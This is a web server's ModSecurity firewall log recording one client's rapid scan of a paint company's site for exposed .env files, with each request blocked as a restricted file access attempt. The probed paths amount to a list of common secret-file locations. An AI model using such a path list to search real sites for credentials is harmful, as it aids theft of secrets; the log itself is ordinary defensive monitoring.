[Mon Oct 26 07:29:10.483432 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /panel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at85husSoQAaBNrI9tQz7wAAAAk"]
[Mon Oct 26 07:29:10.483581 2026] [security2:error] [pid 3019673:tid 3019673] [client 34.19.176.196:37516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/auth/.env"] [unique_id "at85hn3wwcXP35BsOaDu2AAAAAw"]
[Mon Oct 26 07:29:10.483620 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at85husSoQAaBNrI9tQz7wAAAAk"]
[Mon Oct 26 07:29:10.483844 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/panel/.env"] [unique_id "at85husSoQAaBNrI9tQz7wAAAAk"]
[Mon Oct 26 07:29:10.550520 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /private/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JwAAAAM"]
[Mon Oct 26 07:29:10.550771 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JwAAAAM"]
[Mon Oct 26 07:29:10.551135 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/private/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4JwAAAAM"]
[Mon Oct 26 07:29:10.560115 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at85ht-fnwNv3Luhiy4YSAAAAAE"]
[Mon Oct 26 07:29:10.560324 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at85ht-fnwNv3Luhiy4YSAAAAAE"]
[Mon Oct 26 07:29:10.560623 2026] [security2:error] [pid 3023285:tid 3023285] [client 34.19.176.196:37534] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/var/.env"] [unique_id "at85ht-fnwNv3Luhiy4YSAAAAAE"]
[Mon Oct 26 07:29:10.579141 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at85hnFRwTfT0KsFZ4erpQAAAA0"]
[Mon Oct 26 07:29:10.579382 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at85hnFRwTfT0KsFZ4erpQAAAA0"]
[Mon Oct 26 07:29:10.579686 2026] [security2:error] [pid 3017653:tid 3017653] [client 34.19.176.196:37478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/tmp/.env"] [unique_id "at85hnFRwTfT0KsFZ4erpQAAAA0"]
[Mon Oct 26 07:29:10.594759 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /temp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at85hk5VL05DK7ky7IO-hwAAAA4"]
[Mon Oct 26 07:29:10.594971 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at85hk5VL05DK7ky7IO-hwAAAA4"]
[Mon Oct 26 07:29:10.595261 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/temp/.env"] [unique_id "at85hk5VL05DK7ky7IO-hwAAAA4"]
[Mon Oct 26 07:29:10.649908 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /etc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTgAAABY"]
[Mon Oct 26 07:29:10.650153 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTgAAABY"]
[Mon Oct 26 07:29:10.650476 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/etc/.env"] [unique_id "at85hhatj5i5ZMjJaPkrTgAAABY"]
[Mon Oct 26 07:29:10.651690 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /conf/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at85hk3DiqOFJPXX6P420AAAABM"]
[Mon Oct 26 07:29:10.651893 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at85hk3DiqOFJPXX6P420AAAABM"]
[Mon Oct 26 07:29:10.652226 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/conf/.env"] [unique_id "at85hk3DiqOFJPXX6P420AAAABM"]
[Mon Oct 26 07:29:10.652774 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.www"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at85hgbLerFfv4dhcWT1AgAAAAY"]
[Mon Oct 26 07:29:10.653001 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at85hgbLerFfv4dhcWT1AgAAAAY"]
[Mon Oct 26 07:29:10.653225 2026] [security2:error] [pid 3015725:tid 3015725] [client 34.19.176.196:37448] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.www"] [unique_id "at85hgbLerFfv4dhcWT1AgAAAAY"]
[Mon Oct 26 07:29:10.654497 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at85hvAWpsgTeulbP5bFFQAAABI"]
[Mon Oct 26 07:29:10.654637 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at85hvAWpsgTeulbP5bFFQAAABI"]
[Mon Oct 26 07:29:10.654870 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at85hvAWpsgTeulbP5bFFQAAABI"]
[Mon Oct 26 07:29:10.661449 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at85hj2qIoRfAL3Hx22jHwAAAAI"]
[Mon Oct 26 07:29:10.661595 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at85hj2qIoRfAL3Hx22jHwAAAAI"]
[Mon Oct 26 07:29:10.661829 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at85hj2qIoRfAL3Hx22jHwAAAAI"]
[Mon Oct 26 07:29:10.669715 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at85hk5VL05DK7ky7IO-iAAAAA4"]
[Mon Oct 26 07:29:10.669857 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at85hk5VL05DK7ky7IO-iAAAAA4"]
[Mon Oct 26 07:29:10.670114 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env_1"] [unique_id "at85hk5VL05DK7ky7IO-iAAAAA4"]
[Mon Oct 26 07:29:10.681101 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /env/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4KAAAAAM"]
[Mon Oct 26 07:29:10.681336 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4KAAAAAM"]
[Mon Oct 26 07:29:10.681709 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/env/.env"] [unique_id "at85hp_dbg3ptBnwDgQ4KAAAAAM"]
[Mon Oct 26 07:29:10.687902 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at85hujICF14JuwJz6aCMAAAAA8"]
[Mon Oct 26 07:29:10.688146 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at85hujICF14JuwJz6aCMAAAAA8"]
[Mon Oct 26 07:29:10.688424 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env_sample"] [unique_id "at85hujICF14JuwJz6aCMAAAAA8"]
